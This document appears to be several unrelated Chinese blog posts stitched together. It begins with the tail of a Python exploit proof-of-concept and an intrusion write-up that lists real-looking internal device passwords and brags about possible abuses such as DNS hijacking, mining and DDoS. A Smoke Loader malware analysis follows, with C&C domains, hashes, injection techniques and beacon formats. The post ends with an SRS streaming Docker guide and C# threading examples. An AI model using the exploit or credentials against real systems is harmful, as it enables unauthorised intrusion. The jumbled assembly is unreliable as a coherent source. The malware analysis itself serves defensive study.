        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
        if response.status_code == 200:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.get(url=target_url + "/guest_auth/PeiQi_test.txt", headers=headers, data=data,verify=False, timeout=5)
            print("\033[32m[o] 响应为: \n{} \033[0m".format(response.text))
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

二、内网漫游

  • 执行上面exp得到root权限
  • 进入目录找到日志文件撸到后台密码
  • 网络拓扑
  • 进入后台,找到dhcp服务器配置
    > 核心路由没有划分vlan,只有网段划分,其中200为无线ap wan口网络,ap分配给客户端的ac控制器分配的ip
  • 分析网段划分
    • 总共四个网段,其中两个属于无用网段,有用的只有80网段,里面有两台吧台的PC,剩下的就是200网段,为交换机/AC分配IP
    • 其中80.4为ac控制器 200.1为核心路由器网关地址,除80.4以外80.2-80.14均为锐捷二层交换机

  • 设备汇总

    • 经过分析,内网设备如下
设备名称 设备数量 后台密码
睿易核心路由器 1 ruijie@123.com
睿易二层交换机 12 admin
睿捷AC控制器 1 ruijie@123.com
无线AP 117 admin
PC主机 2

三、报告建议

  • 漏洞危害
    > 不搞事就没有危害,搞事可以做dns劫持/域名跳转,投放广告,挖矿,ddos肉🐔等等,看操作了
  • 修补建议

    换个网管

    更换核心路由器,做测试的时候系统为最新版本,但是依旧攻击成功,说明更换强密码并没有什么卵用,建议更换mikrotik,流控使用三方软路由,或者直接用ros的layer2正则过滤,进行限速或drop处理

    二层交换机全部关闭80/23端口,通过console进行配置,二层交换机本来就不需要经常变动,所有操作全部集中到核心路由器处理

    所有弱密码全部改掉,建议随机密码,一交换机对一密码,所有密码不能重复,最后做excel,丢u盘进保险柜

Smoke Loader

分析样品

此分析的主要重点是下面的示例,该示例由Rig EK删除:

bce202c021feb61783563e21fc026767 –原始样本
d363e8356c82a1043bb300c12c6c7603 –已包装(第1阶段)
8932d2eacc4dfc7b2f0a94363a854610 –核心DLL(阶段2)
上面的示例下载:
有效负载:

f60ba6b9d5285b834d844450b4db11fd –(这是一个IRC漫游器,C&C:med-global-fox [DOT] com)
更新的烟雾装载机:

bc305b3260557f2be7f92cbbf9f82975 –原始样本
c8ec8ecc47b05074f5136e79b680fe9e –已包装(第1阶段)
8932d2eacc4dfc7b2f0a94363a854610 –核心DLL(Stage#2)–与先前的示例相同

在分析过程中,它将与2014年9月首次出现 的旧样本进行比较

efa7f95edacec888f39e5ce0ee675a95 –原始样本(通过垃圾邮件分发)
266319c97292842ce554d53806449dda –已包装(第1阶段)
c52f0bf75bebf12a2e7a65b8c8af72d4 –核心DLL(阶段2)

行为分析

部署后,Smoke Loader会将自身注入到explorer.exe中并删除原始可执行文件。我们可以看到它从资源管理器进程内部建立了新的连接。

安装和更新

Smoke Loader不仅安装其原始样本,而且还用从C&C路径:http:// /system32.exe下载的新版本代替它。这个技巧使检测变得更加困难–更新的样本由其他加密器重新打包,可能还会更改其C&C集。

在当前分析中,Smoke Loader的初始样本删除了以下样本:bc305b3260557f2be7f92cbbf9f82975

样本保存在%APPDATA%中的隐藏子文件夹中:

Smoke Loaded将其当前示例和所有其他下载的可执行文件添加到Windows注册表中。键的名称是从现有条目的名称中随机选择的:

这种持久性方法非常简单(与Kovter相比),但是针对检测主模块采取了一些对策。删除的可执行文件的时间戳已更改,因此无法通过搜索最近修改的文件来找到恶意软件。对文件的访问被阻止-无法对其进行读取或写入操作。

加载其他可执行文件

在系统中时,它会继续下载其他模块-“插件”。首先,将下载的模块以随机名称保存在%TEMP%中并运行。然后,将其移至%APPDATA%。在下面,我们可以看到有效负载与其单独的C&C建立了连接:

自动启动中还有一个脚本用于部署有效负载:

网络通讯

为了使对流量的分析更加困难,并且与C&C机器人进行通信会生成大量冗余流量,从而将请求发送到合法域。

当前样本的C&C地址:

  • smoktruefalse.com
  • 波斯王子24.ru

流量已部分加密。

在下面的示例中,我们可以看到Bot如何从C&C其他可执行文件下载。

1 –使用新的Smoke Loader示例更新主机器人:

2 –下载其他有效负载(“插件”):

有效负载流量

Smoke Loader会部署下载的示例,因此一段时间后,我们可以看到有效负载(连接到med-global-fox.com)生成的流量。根据其特征,我们可以得出结论,这次“插件”是IRC机器人:

里面

与大多数恶意软件一样,Smoke Loader由一些加密程序打包分发,该加密程序提供了针对检测的第一层防御。

删除加密器层后,我们可以看到主要的Smoke Loader可执行文件。但是,需要进行更多的拆包操作才能到达恶意核心。为了方便起见,我将解压后的示例的代码部分称为 Stage#1。它的执行始于主要可执行文件的入口点,其作用是提供附加的模糊处理。它还用作最重要部分的加载程序:Stage#2 –这是一个DLL,解压缩到动态分配的内存中并从那里运行。

阶段1

该机器人有趣的功能是其可执行文件通常只有一个部分,没有导入。在下面,您可以看到部分布局的可视化(Entry Point标记为红色):

入口点的代码很模糊,难以遵循。它包含许多冗余跳转,有时会动态计算下一个跳转的地址,这就是为什么静态分析工具无法解决它们的原因。同样,为了使分析更加困难,代码在执行期间会自行修改。

初始例程使用具有硬编码值的XOR解密代码部分的选定部分:

然后它称之为:

这不是Smoke Loader修改自身的唯一方法。在解包部分,我们可以看到更多技巧。此代码使用许多微小的跳转,然后执行XOR和LODS指令,以在每执行几步后修改和替换代码。在这两者之间,添加了垃圾指令以降低其可读性:

机器人会自行加载所有必要的导入。为了实现此目标,它部署了一种流行的方法的变体:通过计算加载的模块名称的校验和并将其与硬编码值进行比较,在加载的模块中搜索函数句柄。首先,借助Process Environment Block(PEB) *来获取已加载模块的句柄:

MOV ESI,FS:[30];复制到ESI句柄到PEB
MOV ESI,DS:[ESI + 0xC];结构_PEB_LDR_DATA * Ldr
MOV ESI,DS:[ESI + 0x1C];ESI = Flink = Ldr-> InLoadOrderModuleList
MOV EBP,DS:[ESI + 0x8];EBP = Flink.DllBaseAddress
*在此处了解更多信息
下面我们可以看到遍历ntdll.dll导出函数的代码片段,以查找该函数的句柄:ZwAllocateVirtualMemory(使用其校验和:0x976055C),然后将找到的句柄保存在变量中:

由于有了这个技巧,Smooth Loader可以在没有任何导入表的情况下运行。(Stage#2使用相同的方法来填充其导入)。

存储的句柄用于进行API调用并分配额外的内存:

在增加的内存空间中,将解压缩Stage#2。这个新模块是删除了标头的PE文件(这是一种常见的反倾销技术)。在下面,您可以看到在文件开头删除的部分(标记为红色):

如果添加缺少的部分,我们可以将其解析为典型的PE文件。事实证明这是一个DLL导出一个函数。以前的Dofoil版本使用了完全相同的技术。过去,模块的名称为Stub.dll,导出的函数为Works。现在,这些名称已被垃圾替换。

这是由Stage#1内部的专用功能加载的,该功能负责Windows Loader通常执行的所有操作。

首先,解压缩后的内容为原始格式(标题大小:0x400,文件对齐:0x200):

然后,将相同的内容重新对齐为虚拟格式(单位大小:0x1000):

另一个子例程解析并应用重定位。如下所示,这是从PE格式已知的典型重定位表。条目存储为WORD的连续数组:

加载程序一一处理。首先,它检查条目类型是否为“ 32位字段”(通过TEST EAX,0x3000)–这是这种情况下唯一支持的格式。然后,它获取重定位偏移量(AND EAX,0xFFF),获取指向的地址并执行计算-通过删除旧的ImageBase(其值是硬编码的)并应用新的基址-偏移量到动态分配的内存中,在该内存中复制了解压缩的代码)。

最后,执行流程可以重定向到新代码。Stage#1使用三个参数从Stage#2 DLL调用导出的函数。第一个是字符串,每个样本都不同(这次是“ 00018”):

Stage#2的执行从动态分配的部分开始:

在此阶段,我们可以看到以前版本的Smoke Loader中已知的一些字符串。字符串“ 2015”可能表明此版本已于2015年编写(但是,示例的编译时间戳是最近的日期:2016年6月10日)。

第二阶段

尽管上一阶段只是准备工作,但在阶段2部署了恶意功能。它的条目位于具有以下标头的导出函数中:

int __stdcall Work(char * sample_id,bool do_injection,char * file_path);
基于这些参数,可执行文件可以识别其当前状态和要遵循的执行路径。

在执行实际任务之前,该机器人会进行伪装-将其代码注入合法进程-explorer.exe(有关更多信息,将在后面进行解释)。是否要部署此路径,由第二个参数(表示为do_injection)指定。

  • 如果在设置了do_injection标志的情况下调用Stage#2,它将把代码注入explorer.exe。在此之前,请检查环境中是否存在用于恶意软件分析的工具。如果检测到任何症状表明样品在受控环境中运行,则应用程序进入无限睡眠循环。
  • 如果在清除了do_injection标志的情况下调用了Stage#2 ,它将开始进入执行的主要路径,包括连接到C&C和下载恶意模块。

如果已选择执行的主要路径,则机器人将继续与其C&C服务器通信。众所周知的事实是,在与真实的C&C建立连接之前,它首先检查网络是否可访问。为了进行测试,它使用了一些非恶意地址-在本例中为msn.com。只要没有响应,它就会一直等待并重试:

一旦发现连接正常工作,下一步将验证应用程序是否已在运行(使用互斥锁,其名称对于特定计算机而言是唯一的)

  • 如果互斥存在,则程序将报告发送到C&C服务器并退出
  • 如果互斥锁不存在(程序尚未运行),它将自动安装并启动主要操作。

注入其他过程

较旧的版本将代码替换注入explorer.exe或svchost.exe。注入explorer.exe使用了一个有趣的技巧,引起了研究人员的极大关注。它基于PowerLoader注入技术(Shell_TrayWnd / NtQueueApcThread)。

注入 svchost.exe只是一种故障保护,它遵循的经典方式与此类似。使用的功能:

CreateProcessInternalA
NtCreateSection
NtMapViewOfSection
RtlMoveMemory
NtUnmapViewOfSection
NtQueueApcThread
恢复线程
当前版本放弃了该想法,转而使用另一种方法(类似于此方法)–在远程进程中添加一个新部分,并在其中复制自己的代码。使用的功能:

CreateProcessInternalA
NtQueryInformationProcess
ReadProcessMemory
NtCreateSection
NtMapViewOfSection
RtlMoveMemory
NtUnmapViewOfSection
恢复线程
现在,注入的唯一目标是explorer.exe。

它修补了资源管理器的入口点,并在其中添加了重定向到新添加部分的代码。该部分包含注入的Stage#2 DLL和一个小型加载程序(类似于Stage#1的加载程序)。再次,加载器准备Stage#2并部署它-这次使用不同的参数:

通讯协议

旧版本的Smoke Loader使用的是描述性很强的协议,命令直接指向该功能。以下是旧版本使用的参数:

cmd = getload&login =
&file =
&run = ok
&run =失败
&sel =
&ver =
&bits =
&doubles = 1
&personal = ok
&removed = ok
&admin =
&hash =
在当前版本中,发送的信标看起来不同–参数由定界符分隔,而不是遵循典型的,较长的键值格式:

“ 2015#D2C0431D4351DCD46E75D663AA9911B1448D3B2B#00018#6.1#0#0#10001#0#”

阅读信标,我们可以确认当前分析的版本高于上一个。机器人还发送其ID,该ID是基于特定系统的GUID和特定样本的典型参数(即“ 00018”)生成的。

该程序还会向C&C报告是否曾多次尝试运行它(互斥锁已锁定):

“ 2015#D2C0431D4351DCD46E75D663AA9911B1448D3B2B#00018#6.1#0#0#10001#13#0”

结论

过去,Smoke Loader通过垃圾邮件进行广泛分发。现在我们遇到了一个漏洞利用工具包携带的工具。

多年来,该机器人的许多部分都没有更改,因此易于识别该恶意软件。它仍然使用相同的环境检查集进行防御。此外,它还会等待旧式的网络可访问性。现在,与C&C进行通信所使用的协议具有较少的描述性-它没有太多的关键字来标识其已执行的操作。像以前一样,流量被加密。核心功能也保持不变,该恶意软件的主要作用是下载和部署其他模块。

附录

  • http://stopmalvertising.com/rootkits/analysis-of-smoke-loader.html

  • https://blog.fortinet.com/2014/11/12/the-rebirth-of-dofoil

Centos Docker方式安装SRS服务器

SRS简介

SRS(Simple RTMP Server) 是国人写的一款非常优秀的开源流媒体服务器软件,可用于直播/录播/视频客服等多种场景,其定位是运营级的互联网直播服务器集群。

SRS定位是运营级的互联网直播服务器集群,追求更好的概念完整性和最简单实现的代码。SRS提供了丰富的接入方案将RTMP流接入SRS, 包括推送RTMP到SRS、推送RTSP/UDP/FLV到SRS、拉取流到SRS。SRS还支持将接入的RTMP流进行各种变换,譬如将RTMP流转码、流截图、 转发给其他服务器、转封装成HTTP-FLV流、转封装成HLS、 转封装成HDS、转封装成DASH、录制成FLV/MP4。SRS包含大规模集群如CDN业务的关键特性, 譬如RTMP多级集群、源站集群、VHOST虚拟服务器 、 无中断服务Reload、HTTP-FLV集群。此外,SRS还提供丰富的应用接口, 包括HTTP回调、安全策略Security、HTTP API接口、 RTMP测速。SRS在源站和CDN集群中都得到了广泛的应用Applications。

源链接: https://cloud.tencent.com/developer/article/1693951

github地址:https://github.com/ossrs/srs

wiki:https://github.com/ossrs/srs/wiki/v3_CN_Home

Docker:https://github.com/ossrs/srs-docker/

搭建准备

开源推流工具obs 下载地址:

https://obsproject.com/

video.js 网页播放流媒体 下载地址:

https://docs.videojs.com/docs/api/video.html

直播流程框图

obs端:将采集的视频流以rtmp协议推送至SRS流媒体服务器。

客户端播放器:从SRS流媒体服务器上拉取RTMP流进行播放。

SRS 支持Docker搭建

省略了编译安装,本次为单机安装,本机地址为192.168.229.129。

  • 获取SRS 最新镜像
[root@master ~]# docker pull ossrs/srs
Using default tag: latest
latest: Pulling from ossrs/srs
ab5ef0e58194: Pull complete
af73acd32981: Pull complete
692b57ace846: Pull complete
Digest: sha256:752afb44f062cdea5adcb1119cf9c295494772d5705bb3400e3a63d15a7f0ba1
Status: Downloaded newer image for ossrs/srs:latest
  • 运行镜像
[root@master ~]# docker run -p 1935:1935 -p 1985:1985 -p 8080:8080 ossrs/srs:latest
[2020-04-27 14:10:49.313][Trace][1][0] XCORE-SRS/3.0.139(OuXuli)
[2020-04-27 14:10:49.314][Trace][1][0] config parse complete
[2020-04-27 14:10:49.314][Trace][1][0] write log to file ./objs/srs.log
[2020-04-27 14:10:49.314][Trace][1][0] you can: tailf ./objs/srs.log
[2020-04-27 14:10:49.314][Trace][1][0] @see: https://github.com/ossrs/srs/wiki/v1_CN_SrsLog

其中:1935端口为rtmp服务端口,1985 为控制台口,8080 为默认端口。

访问:http://192.168.229.129:8080

  • 点击 http://1192.168.229.129:1985/console

通过控制台,能看到服务器和客户端的使用情况,服务器的负载情况等。

obs采集视频流

OBS 是adobe 的一个视频采集软件,可以用来作为推流工具。不使用直播姬,使用obs也可以完成哔哩哔哩 的直播。

1.添加视频源

可选择桌面,摄像头,浏览器网址等,为了便于分析直播的延迟时间,这里的来源为浏览器网页上的实时时间

2.推流设置

点击设置选项,选择推流设置

3.开始推流

查看SRS的控制台页面会看到,服务器已经接收到RTMP流

CSharp 多线程

1.Thread

1.1 基础的,Lambda 与委托,写法灵活,这里不展开

static void Main(string[] args)
{
    Thread thread = new Thread((() =>
    {
        Console.WriteLine ("我被执行了!");
    }));
    thread.Start();
    Console.ReadLine();
}

1.2 使用函数

class Program
{
    static void Main(string[] args)
    {
        Thread thread = new Thread(Function);
        thread.Start();
        Console.ReadLine();
    }

    /// <summary>
    /// 执行体
    /// </summary>
    static void Function()
    {
        Console.WriteLine ("我被执行了");
    }
}

1.3 使用函数并且传递参数

执行函数的参数必须为 object, 才能匹配 Thread 的委托签名,使用起来不优雅,使用参数存在强制转换的问题

class Program
{
    static void Main(string[] args)
    {
        Thread thread = new Thread(Function);
        thread.Start ("我是一个参数");
        Console.ReadLine();
    }

    /// <summary>
    /// 执行体
    /// </summary>
    static void Function(object args)
    {
        Console.WriteLine(args);
    }
}

2.Task, 这个内容就稍微有点多了

class Program
{
    static void Main(string[] args)
    {
        // 与 Thread 类似,直接 new
        Task task1 = new Task(Function);
        task1.Start();

        Task task2 = new Task(() =>
                              {
                                  Function ("呵呵哒");
                              });
        task2.Start();
        //------------------------------------------------------------
        // 直接创建并启动
        Task.Factory.StartNew(Function);
        Task.Factory.StartNew(() =>
                              {
                                  Function ("呵呵哒");
                              });
        //------------------------------------------------------------
        // 利用泛型 Task 获取返回值
        Task<int> task3 = Task.Factory.StartNew(GetResult);
        task3 = Task.Run(GetResult);
        task3 = Task.Run(() =>
                         {
                             Console.WriteLine ("做点别的啥的都可以...");
                             return GetResult();
                         });
        // 只有具有返回值得 Task 对象才能获取 Result 属性,这个属性是阻塞的
        // 也就是说如果这个 Task 还没有执行完的话,调用这个属性会等待 Task 执行完成
        var result = task3.Result;


        //------------------------------------------------------------
        // 等待一组 Task / 线程执行完成
        List<Task> tasks = new List<Task>(10);
        for (int i = 0; i < 10; i++)
        {
            var startNew = Task.Factory.StartNew(Function);
            tasks.Add(startNew);
        }

        //------------------------------------------------------------
        // 等待上面创建的 10 个 Task 全部完成,这个方法是阻塞的
        Task.WaitAll(tasks.ToArray());

        //------------------------------------------------------------
        // 等待上面创建的 10 个 Task 中的任意一个完成,这个方法也是阻塞的
        Task.WaitAny(tasks.ToArray());

        // 延续任务,例如:游戏里学技能,某些技能具有前置技能,学了 A 才能学 B.
        // 这里有两个任务,一个 TaskA 一个 TaskB 
        // 一个 TaskB 必须要拿到 TaskA 的返回值才能开始计算,如下
        Task<int> myTask = Task.Run(TaskA).ContinueWith(p =>
                                                        {
                                                            //p.Result 就是 TaskA 这个方法的返回值 
                                                            return TaskB(p.Result);
                                                        });

        // 那么这里两个 Task 执行完成后 结果为 1234567
        Console.WriteLine(myTask.Result);



        //------------------------------------------------------------
        // 获取 / 等待一组任务执行完成,并获取所有返回值
        // 比如:七龙珠集齐召唤神龙,一定要凑齐 7 颗才能继续
        Task<int>[] taskArr =new Task<int>[7];
        for (int i = 0; i < 7; i++)
        {
            taskArr[i] = Task.Factory.StartNew(TaskA);
        }
        // 获取 7 个任务的返回值
        var resultAll = Task.WhenAll(taskArr).Result;

        // 获取 / 等待一组任务的任意一个执行完成,并获取返回值
        // 比如:大地鼠,谁先冒头,先打死谁 (这个比喻有点不恰当)
        var value = Task.WhenAny(taskArr).Result.Result;

    }

    static int TaskA()
    {
        return 123456;
    }

    static int TaskB(int val)
    {
        return val + 1;
    }

    static void Function()
    {

    }
    static void Function(object args)
    {

    }
    static int GetResult()
    {
        return 10086;
    }
}